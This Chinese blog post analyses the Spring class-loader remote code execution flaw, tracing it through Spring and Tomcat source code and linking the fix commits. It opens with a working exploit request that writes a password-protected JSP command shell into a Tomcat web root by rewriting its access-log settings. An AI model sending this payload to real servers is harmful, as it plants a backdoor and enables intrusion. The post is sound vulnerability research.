首发于奇安信攻防社区:https://forum.butian.net/share/1474
先上poc吧,虽然大家已经有了
POST / HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
suffix: %>
prefix: <%
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 803
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Diif(%22023%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20out.print(%22%3Cpre%3E%22);%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20out.print(%22%3C%2fpre%3E%22);%20%7D%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=a&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
这个是CVE-2010-1622的绕过,具体分析可以看SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析。
文章啰嗦一点,看得懂就行
0x00 环境搭建
我是远程调试的,直接debug一直有报错。
首先修改tomcat配置,win环境在catalina.bat增加agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
idea直接打开tomcat所在目录,添加框架支持为maven,然后其中我又新建了一个文件夹为project,这个也添加支持maven,效果如下:
然后spring里面写代码,生成war包,直接放到webapps里面即可,启动tomcat会自动部署(默认热部署,添加新的war过一会就自动部署好了),然后idea添加远程debug
接着愉快调试吧
0x01 前置知识
spring ioc
这个东西我一句两句也解释不清楚,看文章吧,当时在学校学的时候就懵懵的,控制反转说白了就是将pojo和bean交给spring来处理,我只需关心值的设置与取用,无需关心怎么设置与取出的
java对象 POJO和JavaBean的区别,Spring(2)——Spring IoC 详解,Spring IoC有什么好处呢?
参数绑定
pojo
package com.yq1ng.pojo;
import java.util.Arrays;
/**
* @author ying
* @Description
* @create 2022-04-03 5:37 PM
*/
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public int getAge() {
return age;
}
public void setName(String name) {
this.name = name;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
@RequestMapping("/bind")
@ResponseBody
public String bindTest(User user){
return user.toString();
}
访问http://localhost:8081/spring-rce/bind?name=yq1ng&age=1页面显示 User{name='yq1ng', age=0}
由于age没有set方法,所以没有值。通过参数绑定,可以很轻松的使用pojo类,不再像以前一样再去调用set,这些都由spring帮忙完成。
参数绑定也支持层级调用,比如下面这样
package com.yq1ng.pojo;
/**
* @author ying
* @Description
* @create 2022-04-08 14:28
*/
public class UserInfo {
private String name;
private Secret secret;
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public Secret getSecret() {
System.out.println("getSecret");
return secret;
}
public void setSecret(Secret secret) {
System.out.println("setSecret");
this.secret = secret;
}
@Override
public String toString() {
return "UserInfo{" +
"name='" + name + '\'' +
", secret=" + secret +
'}';
}
}
package com.yq1ng.pojo;
/**
* @author ying
* @Description
* @create 2022-04-08 14:28
*/
public class Secret {
private String passwd;
public String getPasswd() {
System.out.println("getPasswd");
return passwd;
}
public void setPasswd(String passwd) {
System.out.println("setPasswd");
this.passwd = passwd;
}
@Override
public String toString() {
return "Secret{" +
"passwd='" + passwd + '\'' +
'}';
}
}
访问http://localhost:8081/spring-rce/bind1?name=yq1ng&secret.passwd=love
会显示UserInfo{name='yq1ng', secret=Secret{passwd='love'}}
查看tomcat窗口可以发现他是通过getter、setter完成的
UserInfo.getSecret()
Secret.setPasswd()
参数绑定支持GET和POST方法,一起用的话就会拼接到一起,且GET优先级较高
Java Introspector(内省)
至于什么是内省(Introspector),看过Ruilin师傅的文章的应该了解一些了,没看的话可以看:https://blog.51cto.com/u_3631118/3119838。内省说白了就是去看beans的getter和setter,即使你没有这个属性内省也会认为你有,比如下面这样:
package com.yq1ng.pojo;
/**
* @author ying
* @Description
* @create 2022-04-08 15:42
*/
public class Temp {
private String a;
private String b;
public String getA() {
return a;
}
public String getC() {
return null;
}
}
PropertyDescriptor是Java自带的类,它可以获取Bean的所有信息
这里为什么有个class?明明类里没定义有关方法。为此debug一下
方法注释说明写道内省Bean,并获取其所有属性、公开方法与事件,这个所有就厉害了,他还会获取Superclass,且是递归获取。来看代码
在Java里所有的类都继承基类,所以每个Bean的Info里面都会有class属性
BeanWrapperImpl
BeanWrapper在spring中是一个比较重要接口,其实现类为org/springframework/beans/BeanWrapperImpl.java。通过这个类可以很轻松的调用beans的各种信息及设置其属性。这个类最终调用的还是上面提到的PropertyDescriptor
看一下BeanWrapperImpl定义与属性
他的有参构造都会调用super,拿BeanWrapperImpl(Object object)
来说,super会来到父类AbstractNestablePropertyAccessor的构造,跟踪构造会发现它会将传入的对象保存到this.wrappedObject
其他的方法即是见名知意,简单以取值、设值来看使用方法
非常方便,也可以见到spring的强大。
tomcat日志写文件
看一下这个:Struts2 S2-020在Tomcat 8下的命令执行分析,至于本次poc为什么会有%{xxx}的奇怪字符,是因为%是tomcat变量替换的标识符,具体可见官方文档:https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html
还有只能发送一次poc的问题,只需修改class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=任意数字
即可,路径问题默认写道tomcat目录,相对路径就行,webapps/ROOT/
即可。
0x02 漏洞调试
断点打到了org/springframework/beans/AbstractPropertyAccessor.java#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)
跟进setPropertyValue()
这里会对propertyName
进行递归解析,进去看看
注释说的很清楚,递归解析。首先跟进getFirstNestedPropertySeparatorIndex()
按.
进行分割,第一次会返回class
,返回后跟进getNestedPropertyAccessor(nestedProperty)
进入getPropertyValue(tokens)
会先查找缓存有没有这个属性,跟进,一直f7到org/springframework/beans/CachedIntrospectionResults.java#getPropertyDescriptor(String name)
返回cache后,一直往下走就会看到BeanWrapperImpl.java#getValue()
反射设值,第一次迭代如下
User.getClass()
java.lang.Class.getmodule() //下一轮
接着继续按.
分割,直接看反射处
所以第二次迭代就是
User.getClass()
java.lang.Class.getmodule()
java.lang.Module.getclassLoader() //下一轮
后面都是一样的,总结一下就是
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setDirectory()
这样就修改了tomcat的配置,达到写文件的目的,究其原理就是CVE-2010-1622的绕过,由于jdk9的新特性:module,模块化绕过了原本的,为什么可以绕过呢?上面调试我没说,比较简单,单独看一下就行,就是在获取缓存的时候会进行check,但是只是检测了class.classloader
,这是因为jdk8里面没有module这个东西,也就不需要防御,而jdk的升级成为了此漏洞的利用点,使用class.module.classloader
即可绕过 org/springframework/beans/CachedIntrospectionResults.java#CachedIntrospectionResults(Class<?> beanClass)
0x03 修复
spring修复
3.31号对上述check进行了修补,连接:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15
只能获取name或者以Name结尾的PropertyDescriptor了
tomcat修复
其实不是tomcat的锅,但是人家还是修了。在3.31号修复的,连接:https://github.com/apache/tomcat/commit/1abcf3f4d741c824ae490009fe32ce300f10eddcorg.apache.catalina.loader.ParallelWebappClassLoader.getResources()
这个地方也算是寄了
后记
这个洞说起来危害也就一般,没有传言中那么厉害。一是jdk9以上,这点限制就很大,现在都是jdk8 yyds;二是仅限于tomcat,很多情况都是spring-boot,这就没法利用。所以仁者见仁智者见智,及时关注新特性,下次说不定就摸到大鱼了哈哈